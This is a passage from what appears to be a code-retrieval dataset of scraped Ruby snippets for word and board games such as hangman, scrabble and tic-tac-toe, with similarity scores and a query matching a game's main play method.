"def check_word(guess)\r\n\r\n\t\tif @secret_word.include? (guess)\r\n\t\t\t@word_include = true \r\n\t\t\tif @word_include == true \r\n\t\t\t @secret_word.each_index do |idx|\r\n\t\t\t\t if @secret_word[idx] == guess \r\n\t\t\t\t\t @guess_word[idx] = guess \r\n\t\t\t\t\tend \r\n\t\t\t\tend\r\n\t\t\t\tanswer_update\r\n\t\t\t\tcheck_win \r\n \tend \t\t\r\n\t\telse \r\n\t\t\tfalse \r\n\t\t\t@num_guess -= 1 \r\n\t\t\tputs \"Wrong guess. Try again!\"\r\n\t\tend \r\n\tend",
"def make_guess(guess)\n @previous_guesses << guess \n display_string = show_progress()\n if !goal_word.include?(guess) \n guess_counter()\n end \n if display_string == @goal_word\n @player_won = true \n end\n end",
"def take_turn(pattern)\n\t\tpossible_words = expressions(pattern).map do |e|\n\t\t\tRegexp.new(\"^#{e}$\")\n\t\tend.map do |e|\n\t\t\tpossible_words(e, @letters)\n\t\tend\n\n\t\tguess = (best_letters(possible_words.flatten.uniq) & @letters).first\n\n\t\t@played_letters += [guess]\n\t\t@letters -= [guess]\n\t\tguess\n\tend",
"def game_result(result, word)\n end",
"def playRound word\r\n guess =\"\" #sets up an empty variable to store the players guess\r\n tries = CONST_TRIES #sets how many attempts the player will get, each iteration of the while loop this number will decrease by one\r\n while(tries > 0 && word != guess) #each iteraction of the while loop the number of tries is checked if it's above 0 or if the player's guess isn't the word\r\n puts \"Tries left: #{tries}\" #tells the user how many tries they have left - inputs the vaiable 'tries' which is updated each loop\r\n compare(word, guess=getInput()) #calls the compare() method, inputting word and the players guess by calling the getInput() method and assigning the result to the variable 'guess'\r\n tries -= 1 #decrements tries by 1\r\n end\r\n (word == guess)? winMessage(word) : lossMessage(word)#checks if the word is the same as the players guess when the loop has ended\r\nend",
"def show_progress(word,guessed_letters)\r\n \t\t@display_string = ''\r\n \t\tword.each do |char|\r\n \t\tif guessed_letters.include?(char)\r\n \t\t\t@display_string << char\r\n \t\telse \r\n \t\t\t\r\n \t\t\t@display_string << '_'\r\n \t\tend\r\n \t \r\n \t\t end\r\n \t\t puts display_string\r\n \t\t gameover(display_string)\r\n\tend",
"def list_my_words\n games = GameSession.where(user_id: self.id)\n games = games.select {|game| game.word_id != nil}\n words = games.map {|gs| Word.find(gs.word_id).word}\n wins = games.map {|gs| gs.win}\n h = {true => [], false => []}\n for i in 0..words.length-1\n wins[i] ? h[true] << words[i].green : h[false] << words[i].red\n end\n puts \"Puzzles Won\".green.underline\n if h[true].empty? \n puts \"(no puzzles won)\".black\n else\n puts h[true]\n end\n puts \"\\n\\n\"\n \n puts \"Puzzles Lost\".red.underline\n if h[false].empty?\n puts \"(no puzzles lost)\".black\n else\n puts h[false]\n end\n puts \"\\n\\n\\n\"\n end",
"def play_game\n\n\tword = select_word #call on the method that retrievess a random word\n\n\tConsole_Screen.cls #clear the display area\n\n\tconsonants = get_consonants #call on the method that prompts the player\n\t#to enter a list of consonatns\n\n\tConsole_Screen.cls #clear the display area\n\n\t#call on the method that prompts the player to enter a vowel\n\tvowel = get_vowel\n\n\t#remove blank spaces from the word to create a short version of the word\n\tshortWord = word.gsub(\" \", \"\")\n\n\t#call the method that processes palyer guesses\n\tprompt_for_guess(shortWord, word, consonants, vowel)\n\n\tConsole_Screen.cls #clear the display area\n\nend",
"def existing_words\n draw_current = draw\n p \"The 7 letters drawn are:\"\n p draw_current\n p \"-\"*70\n\n combinations = combine(draw_current).flat_map{ |w| w.permutation.to_a}.uniq.map { |e| e.join }\n combinations.map{|i| search(i, UPPER_BOUND_INI, LOWER_BOUND_INI, NO_ITERATION_INI)}.flatten.reject{|x| x==nil}\nend",
"def pick_word\n @dictionary = File.readlines('dictionary.txt').map(&:chomp)\n @computer_word = @dictionary.sample\n end",
"def feedback\n puts \"Spelling errors\"\n #Default errors is 0\n errors = 0\n #For each word in the word hash\n $words.each do |word|\n #If the word is spelled wrong prints the word and increments errors\n if word[1] == false\n puts \"#{word[0]}\"\n errors += 1\n end\n end\n #If there are no errors states as much\n if errors == 0\n puts \"No errors found\"\n end\nend",
"def winning?(game)\n if game.word == game.progress\n puts \"You won! Yaaaaay!!\"\n exit\n end\nend",
"def get_word(difficulty)\n WORDS.select{|word| word.length == difficulty}.sample\nend",
"def try_again\n wave_display\n puts \"Here's the word again...\"\n\tputs $current_word.colorize(:color => :black, :background => :green) + \"\\r\"\n sleep($hide_speed)\n player_input_word\nend",
"def start_game\r\n\t puts \"Welcome to Hangman! A secret word has been chosen. You have #{turn_count} guesses to get the word correct. Good luck!\"\r\n\t (@secret_word.size).times { @correct_letters += \"_ \" }\r\n\t puts @correct_letters\r\n\t begin_guessing\r\n\tend",
"def play(word)\n # Returns false if player has already won\n Scrabble::Scoring.reset\n if won?\n return false\n else\n @plays_array.push(word)\n Scrabble::Scoring.score(word)\n end\n end",
"def hack(words)\n candidates = words.clone\n word_to_guess = candidates.pop\n\n while !candidates.empty?\n puts \"Try the word: #{word_to_guess}\"\n puts \"What was the likeness?\"\n\n key_likeness = gets.to_i\n if key_likeness == word_to_guess.length\n puts \"Nicee hackeeer!!\"\n break\n end\n\n words.each do |word|\n next if !candidates.include?(word)\n\n likeness = get_likeness(word_to_guess, word)\n\n if key_likeness == 0\n candidates -= [word] if likeness > 0\n else\n candidates -= [word] if likeness < key_likeness\n end\n end\n\n puts \"Candidates left: #{candidates.join(', ')}\"\n word_to_guess = candidates.pop\n end\nend",
"def initialize(word)\r\n\t\tputs \"game initializing\"\r\n\t\t@guessed_letters = []\r\n\t\t@word = word\r\n\t\ttemp = word.downcase.delete(' ')\r\n \t@secret_word = temp.split('')\r\n \t\r\n \t@guess_count = word.length.to_i + 4\r\n \tif(guess_count > 26)\r\n \t\tguess_count = 24\r\n \tend\r\n \r\n \t@gameover = false\r\n\r\n\t\tshow_progress(secret_word,guessed_letters)\r\n\r\n \twhile @gameover == false \r\n \t\r\n begin\r\n\t\t\t puts \"guess a letter or the word: \"\r\n\t\t\t letter = gets.chomp\r\n letter = letter.downcase\r\n \r\n \r\n end until @guessed_letters.include?(letter) == false\r\n if (letter == temp)\r\n puts \"Letters guessed #{guessed_letters}\"\r\n puts \"YOU WIN by means of guessing the word\"\r\n break\r\n end\r\n\r\n\t\t\t@guessed_letters.push(letter)\r\n\t\t\tguess(letter,secret_word)\r\n\t\t\tputs \"Letters guessed #{guessed_letters}\"\r\n\t\t\tshow_progress(secret_word,guessed_letters)\r\n\t\t\t\r\n\r\n\r\n\t\t end\r\n\r\n \tend",
"def choose_word\n case @game_mode\n when \"computer guess\"\n puts \"Choose a word! (It must be in the dictionary)\"\n @word = gets.chomp\n when \"human guess\"\n @word = computer_guess\n end\n end",
"def check_letters(letter)\n progress(letter)\n count = 0\n @word_to_guess.each do |char|\n if char == letter\n @hidden_word[count] = letter\n else\n @hidden_word \n end\n count +=1 \n end\n puts @hidden_word\n @hidden_word\n end",
"def play_match\r\n reset_scores\r\n\r\n loop do\r\n display_scores\r\n choose_turn_order\r\n play_round\r\n break if someone_won_match?\r\n end\r\n\r\n display_match_result\r\n end",
"def check_if_correct(word, letter)\n if word.include?(letter)\n index = word.index(letter)\n word[index] = '' # Clear the letter from word so it can check for other instances of letter\n @hints[index] = letter\n check_if_correct(word, letter) # It will loop through every instace of letter on word\n elsif !@hints.include?(letter)\n @incorrect.push(letter) unless @incorrect.include?(letter)\n @lives += 1\n end\n end",
"def match_check(enteredWord, time)\n if enteredWord == $current_word\n $word_count += 1\n # congratulate\n puts \"Well done - that is correct\"\n # delete word\n $current_lvl.delete($current_word)\n update_score(time)\n puts \"Your current score: #{$player_score}\"\n sleep(3)\n next_level_check \n elsif enteredWord == \"\"\n if $player.passes > 0\n $word_count += 1\n puts \"You have used a pass power!!\"\n $used_passes += 1\n $player.passes -= 1\n puts \"You have #{$player.passes} left!\"\n sleep(2)\n next_level_check \n else\n puts \"You have no passes left!\"\n puts \"You have lost a life.\"\n $player.hp -= 1\n # check if alive or dead\n game_over_check\n end\n elsif enteredWord == \"1\"\n # $player.class\n if $player.class == ThiefClass\n thief_guess = $player.power\n match_check(thief_guess, time)\n else\n $player.power\n if $player.hp < 1\n game_over_check\n else\n next_level_check\n end\n end\n else\n # indicate wrong answer\n system \"clear\"\n puts \"Oh dear, enemy gets a hit in.\"\n # decrease lives by one\n $player.hp -= 1\n # check if alive or dead\n game_over_check\n end\nend",
"def load_game(chosen_word,word_guess,dead_man)\n @chosen_word = chosen_word\n @word_guess = word_guess\n @dead_man = dead_man\n\n @word_guess.display(@dead_man)\n round\n end",
"def checking_dictionary_for_word_match\n @prefix = @str[@i_last_real_word...@i]\n \n if valid_word?(@prefix)\n if @skip_counter > 0\n @skip_counter -= 1\n else\n @words[i] = @prefix\n @i_last_real_word = @i\n end\n end\n end",
"def play\n welcome()\n while @current_turn <= @max_turn && @display_word.include?(\"_\")\n puts \"Turn #{@current_turn} out of #{@max_turn}\"\n puts \"Word: #{@display_word}\"\n puts \"Enter a letter for a guess (will only count first letter):\"\n @current_guess = parse_letter(gets.chomp)\n if @current_guess == \"+\"\n save_game()\n else\n @current_turn +=1\n end\n update_display_word()\n end\n end_message()\n end",
"def game (word, length_temp, length, encryped_word, help_word)\n puts ('Мы загадали вам слово, состоящее из #{length} букв. Введите английскую букву в нижнем регистре, чтобы начать отгадывать.')\n puts (\"Подсказка: загаданное слово в переводе на русский означает #{help_word}\")\n while (length_temp != 0)\n letter = gets\n if (word.include?(letter))\n length_temp -= 1\n puts \"Поздравляем! Вы отгадали букву! Осталось еще #{length_temp} букв. Так держать!\"\n for i in 0..length-1\n if(word[i] == letter)\n encryped_word[i] = letter\n end\n end\n puts \"Вашe слово: #{encryped_word}\"\n end\n end\n if(length_temp == 0)\n puts 'Вы отгадали слово! Поздравляем!'\n end\nend",
"def game_play\n self.new_round # Start new round\n loop do\n puts \"Your Guess:\"\n @input = gets.chomp # Gets user input by making a prompt and capturing the input, chomp method removes the new line which would otherwise be stored in the input string\n if @input != \"/\"\n if @@word.legal?(@input)\n if self.check_guess\n puts \"Correct! You got the answer in #{@guess_count} guesses!\" # Use string interpolation instead of concatenating to include guess count\n\n self.new_round\n puts @current_word\n end\n puts \"You have #{MAX_GUESS - @guess_count} guesses remaining.\\n?????\" # Calculations can be made in string interpolation too\n else\n puts \"That guess doesn't count! Your guess can only be 5 characters in length, contain no duplicate letters and only contain letters.\" # Guess isn't a legal word\n end\n self.check_lost # Check if player has exhausted amount of guesses\n else\n exit\n end\n\t\tend\n\tend",
"def play\n game_introductions\n\n loop do\n set_markers_and_first_mover\n\n loop do\n clear_screen_and_display_board\n loop_of_player_moves\n display_result\n break if someone_won_match?\n display_play_again_message\n reset\n end\n\n clear\n display_champion\n break unless rematch?\n reset_game_data\n end\n\n display_goodbye_message\n end",
"def already_played?(word)\n if (self.playedWords == nil)\n return word == self.firstWord\n end\n\n for pw in self.playedWords\n if pw.word == word\n return true\n end\n end\n return word == self.firstWord\n end",
"def check_win_or_lose\n \n if word_with_guesses == @word\n return :win\n elsif @wrong_guesses.length >= 7 \n return :lose\n else \n return :play\n end\n \n end",
"def play(word)\n player_status = false\n total_score = 0\n @array_of_words.each do |word_in_arr|\n total_score += Scrabble::Scoring.score(word_in_arr)\n end\n\n if total_score < 100\n word_score = Scrabble::Scoring.score(word)\n player_status = word_score\n @array_of_words << word\n end\n\n return player_status\n end",
"def scrabble(word)\n\npoints = {\n \t\"a\" => 1,\n \t\"e\" => 1,\n \t\"i\" => 1,\n \t\"o\" => 1,\n \t\"u\" => 1,\n \t\"l\" => 1,\n \t\"n\" => 1,\n \t\"r\" => 1,\n \t\"s\" => 1,\n \t\"t\" => 1,\n \t\"d\" => 2,\n \t\"g\" => 2,\n \t\"b\" => 3,\n \t\"c\" => 3,\n \t\"m\" => 3,\n \t\"p\" => 3,\n \t\"f\" => 4,\n \t\"h\" => 4,\n \t\"v\" => 4,\n \t\"w\" => 4,\n \t\"y\" => 4,\n \t\"k\" => 5,\n \t\"j\" => 8,\n \t\"x\" => 8,\n \t\"q\" => 10,\n \t\"z\" => 10,\n }\n puts word\n\n #create a varialbe to store a Score\n score =0\n #go to letter by letter througth word\n word.each_char do |letter|\n #check in proint for a key that matches letter from word\n #take it's value add it to word\n score += points[letter] #try with puts = points[letter] !access to points\n #output message with the full score result\n\nend\n puts \"#{word} is worth #{score} points\" # TRY TO PUT THIS BEFORE END!!\nend"
] |
[
"0.7017566",
"0.68730474",
"0.6781907",
"0.6778089",
"0.6763997",
"0.6715527",
"0.66985714",
"0.6687126",
"0.66843826",
"0.6584243",
"0.6571828",
"0.6564845",
"0.6538154",
"0.6507142",
"0.64864975",
"0.64619064",
"0.6456214",
"0.6431511",
"0.6415187",
"0.6371767",
"0.63660717",
"0.63278395",
"0.63168573",
"0.6316585",
"0.63157827",
"0.6307532",
"0.6304569",
"0.62991554",
"0.6268668",
"0.6240791",
"0.62396634",
"0.62394965",
"0.6219466",
"0.6219038",
"0.62077963",
"0.6205704",
"0.62037116",
"0.61998117",
"0.6188712",
"0.6187747",
"0.61852324",
"0.6184083",
"0.6150174",
"0.61242294",
"0.61216354",
"0.6114855",
"0.6105706",
"0.61022425",
"0.6077217",
"0.60713583",
"0.6070224",
"0.60669667",
"0.6064742",
"0.6064602",
"0.60328144",
"0.602737",
"0.6017451",
"0.60171026",
"0.6012745",
"0.6010316",
"0.59971064",
"0.5996408",
"0.5995482",
"0.5988106",
"0.59853786",
"0.59795016",
"0.59721833",
"0.59704965",
"0.59695905",
"0.5965177",
"0.5964159",
"0.596377",
"0.5962995",
"0.5962197",
"0.5959037",
"0.59571016",
"0.59535867",
"0.59522855",
"0.59511733",
"0.59480274",
"0.59478575",
"0.59466106",
"0.5944191",
"0.5943572",
"0.5943318",
"0.5932932",
"0.5929138",
"0.5924596",
"0.5915006",
"0.591264",
"0.5907742",
"0.59041184",
"0.5903602",
"0.5894837",
"0.58859724",
"0.58848435",
"0.5881143",
"0.5880707",
"0.5877804",
"0.58776575"
] |
0.74488264
|
0
|
main method of the game
|
def play
@fragment = ""
until @losses.keys.length == 1
system("clear")
update_status
play_round
check_status
puts "Next round in 5 seconds...".bold
sleep(5)
end
final_status
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def main\n rounds = Game.start\n game = Game.new(rounds)\n roshambo = Roshambo.new(game)\n Roshambo.play(roshambo)\nend",
"def main\r\n welcome\r\n process_cmd_line\r\n top_up_players\r\n\r\n play_game\r\n\r\n rescue Interrupt\r\n puts\r\n end",
"def run\n start_game\n game_loop\n end_game\n end",
"def game_loop\n end",
"def game_loop\n end",
"def run\n Interface::header\n Interface::newline\n\n count = get_number_of_players\n get_player_names( count )\n\n @b.play_game\n end",
"def main()\n name_game(\"Lincoln\")\nend",
"def Main\n #Begin preinitialization\n preInit()\n\n #Render Game Window and begin drawing onto the screen.\n\n DEBUG.cout(\"Initializing Game Window...\", 0, false)\n window = GameWindow.new\n window.show\n\n #End game and return to desktop\n return nil\nend",
"def main\n # Class Instances\n game = Game.new\n player1 = Player.new(1)\n player2 = Player.new(2)\n # Start of main engine\n #player1.name = prompt_UI.name.....\n player1.get_name\n player2.get_name\n game.display_welcome(player1, player2)\n # Sets the current turn order\n current_player = player1\n # Start of main game loop\n continue = true\n while continue\n # go to game to get, go to UI to present\n game.display_question(current_player)\n current_player.display_score\n if current_player.game_over?\n game.final_score(player1, player2)\n continue = false\n end\n if current_player == player1\n current_player = player2\n else\n current_player = player1\n end\n end\nend",
"def run\n #Load the Hero File\n load_hero_file\n #Load dungeon at top level\n load_dungeon_file(@current_level)\n #display the hero's starting spot\n clear_message_box\n #get input either an action or a movement.\n while true\n update_screen\n key = @ui.instr\n case key\n when 'B','b' #turn left\n @hero_direction = POS_TURN.rotate!(-1)[0]\n when 'N','n' #turn right\n @hero_direction = POS_TURN.rotate!(1)[0]\n when 'M','m' #move ahead\n move_hero\n when 'A','a' #attack\n hero_attack if @monster_detected\n when 'C','c' #cast\n if @stats[:aura] > 0 && !@spells.empty?\n cast_spell\n else\n @ui.place_text('FIZZZZ....'.ljust(20),1,2,DungeonOfDoom::C_BLACK_ON_YELLOW)\n @ui.place_text(MSG_NOTHING.ljust(20),1,3,DungeonOfDoom::C_BLACK_ON_YELLOW)\n end\n when 'G','g' #get\n get_object\n when 'P','p' #potion\n drink_potion\n when 'R','r' #reveal\n light_room\n when 'S','s' #save?\n #not implemented yet\n when 'Q','q' #quit\n if ask_question('DO YOU REALLY WANT', 'TO QUIT? (Y/N)') == 'Y'\n break\n else\n clear_message_box\n end\n else\n #do nothing\n end\n #automated game elements\n\n #monster detected\n monster_attack if @monster_detected\n #hero died\n if @stats[:strength] <= 0\n game_over\n break\n end\n #hero gets idol!\n if @idol_found\n win_game\n break\n end\n end\n end",
"def play\n #calls to all the methods that produce game!\n end",
"def gameflow\n \n end",
"def game_setup\n end",
"def main\n include GameStatus\n the_user = User.new\n\n if the_user.prompt_start.downcase.eql? 'y'\n #game continues to begin\n else\n puts(Colors.colorize('Why not tho?', 'cyan_b'))\n exit(0)\n end\n\n Output.print_intro\n the_secret_code = SecretCode.new\n the_user.take_input\n the_user.give_feedback\nend",
"def main\n # Creation partie\n my_game = Game.new\n my_game.initialize_game\n\n # Creation du board\n my_board = Board.new\n\n # Creation des cases du jeu (vide)\n 1.upto(9) { |id| my_board.add_case(BoardCase.new(id)) }\n\n # Creation des joueurs\n print 'Nom du joueur 1 : '\n player1 = Player.new(gets.chomp.to_s, 1)\n print 'Nom du joueur 2 : '\n player2 = Player.new(gets.chomp.to_s, 2)\n my_board.display_board\n # Boucle du jeu\n game_turn(my_game, player1, player2, my_board)\nend",
"def run_script\n\tgame = GameController.new\n\tsystem \"clear\"\n\tputs GameController.welcome_message.blue\n\tsleep 2\n\tsystem \"clear\"\n\t# puts GameController.bulletin_board\n\tgame.array_of_teams\n\tgame.choose_team\n\tgame.favorite_team\n\tgame.favorite_team_id\n\tgame.random_rival\n\tgame.get_rival_id\n\t\nend",
"def main\n # fade in scene\n 16.times do\n self.update\n @viewport.color.alpha -= 16\n Graphics.update\n end\n # hide silhouette\n h = (@sprites[\"sil\"].bitmap.height/32.0).ceil\n 32.times do\n self.update\n @sprites[\"sil\"].src_rect.height -= h\n Graphics.update\n end\n # play cry\n GameData::Species.cry_filename_from_pokemon(@pokemon)\n # begin loop\n loop do\n Graphics.update\n Input.update\n self.update\n break if Input.trigger?(Input::C)\n end\n # moves Pokemon sprite to middle of screen\n w = (@viewport.width/2 - @sprites[\"poke\"].x)/32\n 32.times do\n @sprites[\"contents\"].color.alpha += 16\n @sprites[\"bg\"].color.alpha += 16\n @sprites[\"highlight\"].color.alpha += 16\n @sprites[\"poke\"].x += w\n @sprites[\"color\"].opacity += 8\n for i in 1..3\n @sprites[\"c#{i}\"].opacity += 8\n end\n self.update\n Graphics.update\n end\n @sprites[\"poke\"].x = @viewport.width/2\n Graphics.update\n end",
"def run\n puts \"Welcome to Command-Line-Chess!\"\n @players = set_players\n\n winner = play_game\n \n print_board\n puts \"Congratulations #{winner.name}! You have won the game.\"\n end",
"def play_game\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n \r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n \r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n \r\n #Call on the \r\n gameCount = game_count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, result)\r\n \r\n end",
"def run\n game = Game.new\n game.game_start\nend",
"def run\n require_relative File.join(absolute_path, 'main')\n Gamefic::Tty::Engine.run\n end",
"def play\n init_player()\n init_board()\n puts \"Test game play\"\n end",
"def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n\r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n\r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n\r\n #CAll on the method responsible for ingrementing the game count\r\n game_Count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, result)\r\n\r\n end",
"def run_full_game()\n set_max_games()\n name_all_players()\n puts play_through_set_of_games()\n set_determine_set_winner()\n puts overall_winner_message()\n end",
"def start\n puts \"Welcome to Tic Tac Toe!\"\n puts \"\"\n define_players\n play\n end",
"def start_a_game\n jeopardy_board\n play_game\nend",
"def main\n # ARGV array stores command-line arguments\n if ARGV.length != 1\n puts(\"Incorrect number of arguments to the program\")\n puts(\"Usage: ruby Main.rb inputfile\")\n puts(\"Example: ruby Main.rb blinker.gol\")\n exit(1)\n end\n\n # instantiate GameOfLife object\n gol = GameOfLife.new()\n\n # load grid with data from file given on command line\n gol.loadGrid(ARGV.shift.strip)\n\n puts(\"Beginning with grid size \" + gol.rows.to_s + \",\" + gol.cols.to_s)\n puts(gol.to_s)\n\n # play game\n while true\n puts(\"\\nPress n (or return) for next generation, i to iterate multiple times,\")\n print(\"w to save grid to disk, or q to quit? \")\n line = gets.strip\n\n case line\n when 'n', ''\n gol.mutate()\n puts(gol.to_s)\n\n when 'i'\n print(\"How many iterations? \")\n num = gets.strip.to_i\n for i in (0...num)\n gol.mutate()\n puts(gol.to_s)\n end\n\n when 'w'\n print(\"Enter a filename: \")\n filename = gets.strip\n gol.saveGrid(filename)\n puts(\"Grid saved to file \" + filename + \"\\n\")\n\n when 'q'\n puts(\"Exiting program\")\n exit(0)\n end\n end\nend",
"def start_game\n begin\n @game_text.intro\n\n # Run the tutorial\n ActionDirector.new(@world, @player).call({command: :talk, target: :jerry})\n\n # The main game\n while @player.alive? && @world.has_hostiles?\n @player.in_battle? ? battle_loop : game_loop\n end\n\n @player.alive? ? @player.win : @player.defeat\n rescue SystemExit, Interrupt # Catpure ctrl+c exit, end gracefully\n @game_text.exit\n end\n end",
"def main\n\n end",
"def run\n choose_game(prompt)\nend",
"def start\r\n\t\t\t@output.puts \"Welcome to Deal or No Deal!\"\r\n\t\t\t@output.puts \"Designed by: #{created_by}\"\r\n\t\t\t@output.puts \"StudentID: #{student_id}\"\r\n\t\t\t@output.puts \"Starting game...\"\r\n\t\tend",
"def main\n end",
"def main; end",
"def start\n puts \"Welcome! Let's play Tic-Tac-Toe\"\n print_board\n play\n end",
"def run(name)\n\t\tprint %x{clear}\n\t\tputs \"Hi #{name}! Welcome to my Text Adventure App! There are currently 2 levels to\\nchoose from, Medium or Hard. The Medium option features a nice\\nhouse to walk through with easy questions. The Hard option features\\nan old castle dungeon setting with hard IQ questions.\"\n\t\tprint \"Which level would you like to choose? \"\n\t\tchoice = Input.new.begin_input\n\t\tlevel = @choices[choice]\n\t\tlevel.generate(name)\n\t\tnew_game(name)\n\tend",
"def run\n #possible loop\n unformatted_cards = TextParser.run(@file)\n card_factory(unformatted_cards)\n View.game_intro\n View.print_definition\n user_input = get_user_input\n evaluate_user_input(user_input)\n end",
"def run_main\n end",
"def play\n\t\tgame_loop\n\tend",
"def start\r\n initialize_game\r\n until @game.over?\r\n take_turn\r\n end\r\n print_outcome\r\n end",
"def start \n\t @output.puts \"Welcome to Noughts and Crosses!\"\n\t @output.puts \"Created by:#{created_by}\"\n\t @output.puts \"StudentID: #{student_id}\"\n\t @output.puts \"Starting game...\"\n\t @output.puts \"Player 1: 0 and Player 2: 1\"\n\n\t\n\tend",
"def main\n\t\tstart\n\t\twhile self == SceneManager.scene\n\t\t\tGraphics.update\n\t\t\tController.keyboard.update\n\t\t\tupdate\n\t\t\tController.wait_next_frame\n\t\tend\n\t\tterminate\n\tend",
"def main_loop\n# Set up the objects the main loop will\n# need.\n\n# The screen is the window displayed on the\n# screen.\nscreen = Screen.new [640, 480]\n\n# The event queue handles events from the\n# operating system\nqueue = EventQueue.new\n\n# The clock limits the framerate to 30fps\nclock = Clock.new\nclock.target_framerate = 30\n\n# This is the infinite main loop\nloop do\n# Pause the program for a short amount of\n# time so it doesn't exceed 30fps\nclock.tick\n\n# Process all events, return if the window\n# was closed\nqueue.each do|e|\nreturn if e.is_a? QuitEvent\nend\n\n# Fill the screen with a grey color and\n# display it on the monitor\nscreen.fill [200, 200, 200]\nscreen.update\nend\n\nensure\nRubygame.quit\nend",
"def runner\n\n\n\twelcome\n\tcard_total = initial_round\n\tuntil card_total > 21\n\t\tcard_total = hit?(card_total)\n\t\tdisplay_card_total(card_total)\n\tend\n\n\tend_game(card_total)\n end",
"def run (game)\n @state.run(self, game)\n end",
"def run_game\n\t\t# Startup\n\t\tputs \"Welcome to Mastermind: Console Edition!\"\n\n\t\t# Select player or computer\n\t\t@choice = choose_codemaker\n\n\t\tif @choice == 'codemaker'\n\t\t\t@code = record_player_code\n\t\t\tputs \"Thanks! Your code has been stored.\"\n\t\t\tuntil self.game_over?\n\t\t\t\tcomputer_take_turn\n\t\t\tend\n\t\telse \n\t\t\t@code = create_code\n\t\t\tputs \"The computer has chosen a 4-color code.\"\n\t\t\tputs \"While debugging, here is the code: #{@code}\"\n\t\t\tuntil self.game_over?\n\t\t\t\tplayer_take_turn\n\t\t\tend\n\t\tend\n\n\t\tif won_game?\n\t\t\tputs \"Congratulations! You won the game.\"\n\t\telse\n\t\t\tputs \"Sorry, all out of turns. Game over.\"\n\t\tend\n\tend",
"def runner\r\n welcome\r\n sleep(0.75)\r\n ct = initial_round\r\n until ct > 21\r\n ct = hit?(ct)\r\n display_card_total(ct)\r\n end\r\n end_game(ct)\r\nend",
"def run(player)\n puts \"Hello!\"\n end",
"def main_loop\n player1 = Player.new\n player2 = Player.new\n\n puts \"Welcome! Board size: \" + Board::BOARD_SIZE.to_s\n puts \"Please note that this is a Nerds board: coordinates range from 0 - \" + (Board::BOARD_SIZE-1).to_s\n\n player1, player2 = Game.input_players(player1, player2)\n puts \"#{player1.name}: input your boats:\"\n player1 = Game.input_boats(player1)\n puts \"#{player2.name}: input your boats:\"\n player2 = Game.input_boats(player2)\n\n player1.health = player1.calculate_player_health\n player2.health = player2.calculate_player_health\n\n puts \"Game start\"\n\n while player1.health > 0 && player2.health > 0\n player2 = make_play(player2, player1)\n player1 = make_play(player1, player2)\n end\n\n puts \"Game over!\"\n puts player1.name + \" health: \" + player1.health.to_s\n puts player2.name + \" health: \" + player1.health.to_s\n\n puts \"Winner: \" + winner(player1, player2).name\n end",
"def initialize(name1)\r\n @player1=Player1.new(name1)\r\n @grid=Grid.new()\r\n @grid.pretty_print\r\n puts \"\\nYour game is ready!!!\\n\\n\"\r\n game \r\nend",
"def start\n\t\t\t@output.puts(\"Welcome to Mastermind!\")\n\t\t\t@output.puts(\"Created by: #{created_by} (#{student_id})\")\n\t\t\t@output.puts(\"Starting game...\")\n\t\t\t@output.puts(\"The game has 12 turns!\")\n\t\t\t@secret = \"XXXX\"\n\t\t\tvalid1 = checksecret(secret)\n\t\tend",
"def start()\r\n\t\t\t@output.puts(\"Welcome to Mastermind!\")\r\n\t\t\t@output.puts(\"Created by: #{created_by} (#{student_id})\")\r\n\t\t\t@output.puts(\"Starting game...\")\r\n\t\t\t@output.puts('Enter \"1\" to run the game in the command-line window or \"2\" to run it in a web browser')\r\n\t\tend",
"def run\n start_key = self.display_instructions\n exit if start_key.downcase == \"q\"\n self.play_round until @board.won? || @board.lost?\n @board.lost? ? self.display_loss : self.display_win\n end",
"def start\n\t\twhile true\n\t\t\tclean\n\t\t\tscore_table\n\t\t\tarray_start(1)\n\t\t\tif player_win(1) == false || test_fin == false \n\t\t\t\tbreak\n\t\t\tend\n\t\t\tclean\n\t\t\tscore_table\n\t\t\tarray_start(2)\n\t\t\tif player_win(2) == false || test_fin == false\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend",
"def start(board = Board.new)\n puts \"Welcome to Connect Four.\"\n puts \"You're up, player one.\"\n player_one = Player.new\n puts \"You're up, player two.\"\n player_two = Player.new\n puts \"This is your initial game board:\"\n board.print_board\n run_game(board, player_one, player_two)\nend",
"def game_setup\n cls\n print \"----------------\\n\"\n print \"Cinnabar - A Game Of Rocks and Minerals\\n\"\n print \"----------------\\n\\n\"\n\n print \"DISCLAIMER\\n\"\n print \" Cinnabar (c) 1966, 1972, 1980 is a trademark of Naturegraph Publishers, Inc.\\n\"\n print \" No copyright or trademark infringement is intended in using Cinnabar.\\n\\n\"\n\n print \"Welcome to Cinnabar, a digital version of the 1966 card game by Vinson Brown.\\n\"\n print \"Rules can be found in RULES.md, and info can be found in README.md.\\n\"\n print \"Source code can be found at https://www.github.com/Pokeconomist/cinnabar.\\n\\n\"\n end",
"def main\n\nend",
"def main\n create_graphics\n curr_scene = $scene\n check_up\n while @running && curr_scene == $scene\n Graphics.update\n update\n end\n dispose\n # Unload title related pictures\n RPG::Cache.load_title(true)\n RPG::Cache.load_interface(true)\n ::Scheduler.start(:on_scene_switch, ::Scene_Title) if !@running && $scene.is_a?(Scene_Map)\n end",
"def run_game\n start_game\n new_board\n while true\n print_grid\n tour_joueur1\n tour_joueur2\n end\nend",
"def game_start\n game_setup\n @console_delegate.show\n end",
"def play\n board_setup\n gameplay_setup\n end",
"def runner\n # code runner here\n welcome\n player_hand = initial_round\n until player_hand > 21\n player_hand = hit?(player_hand)\n end\n display_card_total(player_hand)\n end_game(player_hand)\nend",
